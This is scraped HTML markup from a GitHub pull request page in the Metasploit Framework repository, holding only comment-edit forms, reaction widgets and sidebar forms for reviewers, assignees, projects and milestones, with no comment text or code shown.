          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/reactions

<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
    value="tOo8az26xXCFP/FYJ0hWhGMeTWImRRCsbDoNbLLi2wOwY15D2oCb6D6FF3ktbnhumky3FgjEgOkRwnL3q1bnWg==" autocomplete="off">
  <input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMjM4NzI2MA==">
  <div class="comment-reactions-options js-comment-reactions-options">
  </div>
</form>

POST /rapid7/metasploit-framework/pull/15506/review_comment/700557129

<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/700557129" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
    name="authenticity_token" value="jCGaCT6sGHtuOmBWnPR6p+SuPM/E6dCvpVQ57LKR3t/Z+TSsHp2qgBjjOdQ91FCjR/7qKYdVbAUqrxHBfz65Zw==" autocomplete="off">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/700557129/edit_form?textarea_id=discussion_r700557129-body&amp;comment_context=discussion"
    class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/reactions

<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
    value="ZBs597IXOr98HMt2S3uSqI/XcJvRhnIgqhOFOSZYZBtgklvfVS1kJ8emLVdBXbxCdoWK7/8H4mXX6/qiP+xYQg==" autocomplete="off">
  <input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMDU1NzEyOQ==">
  <div class="comment-reactions-options js-comment-reactions-options">
  </div>
</form>

POST /rapid7/metasploit-framework/pull/15506/review_comment/702400865

<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/702400865" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
    name="authenticity_token" value="9vzVqcji7zB82H9aPhWLanWy20ak7O4UbIp2Ej+c6DHsPccCEB4qSWKEwkrC2uOOZJ2xAF7HzoEXTea92tQsag==" autocomplete="off">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/702400865/edit_form?textarea_id=discussion_r702400865-body&amp;comment_context=discussion"
    class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/reactions

<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
    value="RWe12ZtZ+/cRCdbRayxYlQl88a7o+HXxbxXttODmCUdB7tfxfGOlb6qzMPBhCnZ/8C4L2sZ55bQS7ZIv+VI1Hg==" autocomplete="off">
  <input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMjQwMDg2NQ==">
  <div class="comment-reactions-options js-comment-reactions-options">
  </div>
</form>

POST /rapid7/metasploit-framework/pull/15506/reviews/750347823/update

<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/reviews/750347823/update" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
    name="authenticity_token" value="pLoJpyzj5dErqc754ORRTwZb8Eju9tgSQn42/k6UfwBMojlncxKd6n1R9otf7PciRvubb7hqWfnm8bS7lNyPTQ==" autocomplete="off">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/reviews/750347823/update/edit_form?textarea_id=pullrequestreview-750347823-body&amp;comment_context=discussion"
    class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/reactions

<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
    value="+6+FzKv+81WoPympooyqPv+hC/IIh0LW/k8qjjLaoCP/JufkTMStzROFz4ioqoTUBvPxhiYG0pODt1UVK26ceg==" autocomplete="off">
  <input type="hidden" name="input[subjectId]" value="MDE3OlB1bGxSZXF1ZXN0UmV2aWV3NzUwMzQ3ODIz">
  <div class="comment-reactions-options js-comment-reactions-options">
  </div>
</form>

POST /rapid7/metasploit-framework/issue_comments/917175738

<form class="js-comment-update" id="issuecomment-917175738-edit-form" action="/rapid7/metasploit-framework/issue_comments/917175738" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
    type="hidden" data-csrf="true" name="authenticity_token" value="jp9rHqeurooTlUXPdF0YTy2fEnUcNqmZwW6ytIR37FGgTjTR3wh0dFNaklLWOD9chjpKjjAFWhUYe6avyqEL6g==">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/917175738/edit_form?textarea_id=issuecomment-917175738-body&amp;comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/issue_comments/917643275

<form class="js-comment-update" id="issuecomment-917643275-edit-form" action="/rapid7/metasploit-framework/issue_comments/917643275" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
    type="hidden" data-csrf="true" name="authenticity_token" value="yU3K4OCsKfghSCoo8LGtm29jzBaM11ovGSAAkHjl9HAQp/Wzpwovkm0Vv8Awb9cx9boEVxTbEi86kgJAovKJmg==">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/917643275/edit_form?textarea_id=issuecomment-917643275-body&amp;comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/issue_comments/919168273

<form class="js-comment-update" id="issuecomment-919168273-edit-form" action="/rapid7/metasploit-framework/issue_comments/919168273" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
    type="hidden" data-csrf="true" name="authenticity_token" value="hF5UE7AnvfsyTXflS2e6fzLM+iedDuzEwnwmLk6dcsaZ6h+DVvW4XvXKhspLnJv9APehg6I4IQASsluzzd+/sA==">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/919168273/edit_form?textarea_id=issuecomment-919168273-body&amp;comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/issue_comments/919494327

<form class="js-comment-update" id="issuecomment-919494327-edit-form" action="/rapid7/metasploit-framework/issue_comments/919494327" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
    type="hidden" data-csrf="true" name="authenticity_token" value="eUPScP4b1adcxafJGeX5le/WZvJxxwDGv8cys9ONaT916BkkK6fTjz+R0AyeieVmvs9a5A/OFPpTcoIYRGjl3g==">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/919494327/edit_form?textarea_id=issuecomment-919494327-body&amp;comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/issue_comments/922517350

<form class="js-comment-update" id="issuecomment-922517350-edit-form" action="/rapid7/metasploit-framework/issue_comments/922517350" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
    type="hidden" data-csrf="true" name="authenticity_token" value="owGCGxJvtxbm18y5hDBguQ6RMOTvXzP0XAJf1FMRlQjsjdYtok5Ux1ZbZrrkcpPVzPfisC7lBgTgAF3byQXF8Q==">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/922517350/edit_form?textarea_id=issuecomment-922517350-body&amp;comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/issue_comments/924959412

<form class="js-comment-update" id="issuecomment-924959412-edit-form" action="/rapid7/metasploit-framework/issue_comments/924959412" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
    type="hidden" data-csrf="true" name="authenticity_token" value="ZFBSlTEHi2llN0LvsgSgwMixAgXD8IryDMhuJdA0sgKVTDy2cjqt1TfQlKgVV/9gnGjQvNLdJwPpJMmZFZO9pw==">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/924959412/edit_form?textarea_id=issuecomment-924959412-body&amp;comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/issue_comments/924977132

<form class="js-comment-update" id="issuecomment-924977132-edit-form" action="/rapid7/metasploit-framework/issue_comments/924977132" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
    type="hidden" data-csrf="true" name="authenticity_token" value="qd/gS0rLLT1z30lK/C8XGua1UNhpGoKT8LAVIYlPJ7xDjdQHIH56MTWAZcsL1XdMWNHNcgN6k0qFh2fGuwl37g==">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/924977132/edit_form?textarea_id=issuecomment-924977132-body&amp;comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /_graphql/MarkNotificationSubjectAsRead

<form class="d-none js-timeline-marker-form" action="/_graphql/MarkNotificationSubjectAsRead" accept-charset="UTF-8" data-remote="true" method="post"><input type="hidden" data-csrf="true" name="authenticity_token"
    value="ojABw9wl00d+dJVk/8BN1tntiH8IJvN7rcmUhQOEPiLVP5x42xOj/DK7ybb81o5TkQzWdv1EJSIoYFMQKq7arw==">
  <input type="hidden" name="variables[subjectId]" value="MDExOlB1bGxSZXF1ZXN0NzAwOTcwNjg5">
</form>

POST /rapid7/metasploit-framework/pull/15506/review-requests

<form class="js-issue-sidebar-form" aria-label="Select reviewers" data-reviewers-team-size-check-url="/rapid7/metasploit-framework/pull/15506/review-requests/team-size-check" action="/rapid7/metasploit-framework/pull/15506/review-requests"
  accept-charset="UTF-8" method="post"><input type="hidden" data-csrf="true" name="authenticity_token" value="Xp+D0oGxdNXw+8SObGyI3WRzQaTkKYyA/CGYNIe+wkwbsMAhkwYiSpkn8ntguUG2qiydDzGl+9N+TlH4xNV+dg==">
  <div class="js-large-teams-check-warning-container"></div>
  <div class="discussion-sidebar-heading text-bold"> Reviewers </div>
  <span class="css-truncate">
    <p class="d-flex">
      <span class="d-flex min-width-0 flex-1 js-hovercard-left" data-hovercard-type="user" data-hovercard-url="/users/smcintyre-r7/hovercard" data-assignee-name="smcintyre-r7">
        <a class="no-underline" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/smcintyre-r7">
    <img class="avatar mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/58950994?s=40&amp;v=4" width="20" height="20" alt="@smcintyre-r7">
</a> <a class="assignee Link--primary css-truncate-target width-fit" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/smcintyre-r7">
    <span class="css-truncate-target width-fit v-align-middle">smcintyre-r7</span>
</a></span>
      <a class="flex-order-1" href="/rapid7/metasploit-framework/pull/15506/files/3bf8a5c1ba26733567157731ed9f8624d3c7de61">
              <span class="reviewers-status-icon tooltipped tooltipped-nw float-right d-block text-center" aria-label="smcintyre-r7 requested changes">
                <svg class="octicon octicon-file-diff color-text-danger" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M2.75 1.5a.25.25 0 00-.25.25v12.5c0 .138.112.25.25.25h10.5a.25.25 0 00.25-.25V4.664a.25.25 0 00-.073-.177l-2.914-2.914a.25.25 0 00-.177-.073H2.75zM1 1.75C1 .784 1.784 0 2.75 0h7.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0113.25 16H2.75A1.75 1.75 0 011 14.25V1.75zm7 1.5a.75.75 0 01.75.75v1.5h1.5a.75.75 0 010 1.5h-1.5v1.5a.75.75 0 01-1.5 0V7h-1.5a.75.75 0 010-1.5h1.5V4A.75.75 0 018 3.25zm-3 8a.75.75 0 01.75-.75h4.5a.75.75 0 010 1.5h-4.5a.75.75 0 01-.75-.75z"></path></svg>
              </span>
          </a>
    </p>
    <p class="d-flex">
      <span class="d-flex min-width-0 flex-1 js-hovercard-left" data-hovercard-type="user" data-hovercard-url="/users/adfoster-r7/hovercard" data-assignee-name="adfoster-r7">
        <a class="no-underline" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/adfoster-r7">
    <img class="avatar mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/60357436?s=40&amp;v=4" width="20" height="20" alt="@adfoster-r7">
</a> <a class="assignee Link--primary css-truncate-target width-fit" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/adfoster-r7">
    <span class="css-truncate-target width-fit v-align-middle">adfoster-r7</span>
</a></span>
      <span class="reviewers-status-icon tooltipped tooltipped-nw flex-order-2 >d-block text-center" aria-label="Awaiting requested review from adfoster-r7">
        <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-dot-fill color-yellow-7">
          <path fill-rule="evenodd" d="M8 4a4 4 0 100 8 4 4 0 000-8z"></path>
        </svg>
      </span>
    </p>
  </span>
</form>

POST /rapid7/metasploit-framework/issues/15506/assignees

<form class="js-issue-sidebar-form" aria-label="Select assignees" action="/rapid7/metasploit-framework/issues/15506/assignees" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
    type="hidden" data-csrf="true" name="authenticity_token" value="mu6+G8IAsfmvzsYgxYjdwi8pq9TAxuZaM260MWhcvsCYUM/7oNfPB2MHDjhk85sHJ6cgoyPrhMIFF1HWJsKLDA==">
  <div class="discussion-sidebar-heading text-bold"> Assignees </div>
  <span class="css-truncate js-issue-assignees">
    <p>
      <span class="d-flex min-width-0 flex-1 js-hovercard-left" data-hovercard-type="user" data-hovercard-url="/users/smcintyre-r7/hovercard" data-assignee-name="smcintyre-r7">
        <a class="no-underline" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/smcintyre-r7">
    <img class="avatar mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/58950994?s=40&amp;v=4" width="20" height="20" alt="@smcintyre-r7">
</a> <a class="assignee Link--primary css-truncate-target width-fit" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/smcintyre-r7">
    <span class="css-truncate-target width-fit v-align-middle">smcintyre-r7</span>
</a> <span class="reviewers-status-icon v-hidden" aria-hidden="true"></span>
      </span>
    </p>
  </span>
</form>

POST /rapid7/metasploit-framework/projects/issues/15506

<form class="js-issue-sidebar-form" aria-label="Select projects" action="/rapid7/metasploit-framework/projects/issues/15506" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
    data-csrf="true" name="authenticity_token" value="01/I2MYrAdjEZCpFL60FeLH3hk6ZQuY8YpjR65nYndE0SyK7SVGO5/oS9tOlSXgquJrGWbPk51C/FVHl5DL3bQ==">
  <div class="discussion-sidebar-heading text-bold"> Projects </div>
  <span class="css-truncate sidebar-progress-bar"> None yet </span>
</form>

POST /rapid7/metasploit-framework/issues/15506/set_milestone?partial=issues%2Fsidebar%2Fshow%2Fmilestone

<form class="js-issue-sidebar-form" aria-label="Select milestones" action="/rapid7/metasploit-framework/issues/15506/set_milestone?partial=issues%2Fsidebar%2Fshow%2Fmilestone" accept-charset="UTF-8" method="post"><input type="hidden" name="_method"
    value="put" autocomplete="off"><input type="hidden" data-csrf="true" name="authenticity_token" value="Rhny/1Ji/bQx93cifLuyBj8gd9Xzd6JF56Wb0OnUtUWkGZ64fwgsN8L4kjkF+msRrYtivYE0eD9WgR2hdkwQBA==">
  <div class="discussion-sidebar-heading text-bold"> Milestone </div> No milestone
</form>

POST /rapid7/metasploit-framework/issues/closing_references?source_id=700970689&source_type=PULL_REQUEST

<form class="js-issue-sidebar-form" aria-label="Link issues" action="/rapid7/metasploit-framework/issues/closing_references?source_id=700970689&amp;source_type=PULL_REQUEST" accept-charset="UTF-8" method="post"><input type="hidden" name="_method"
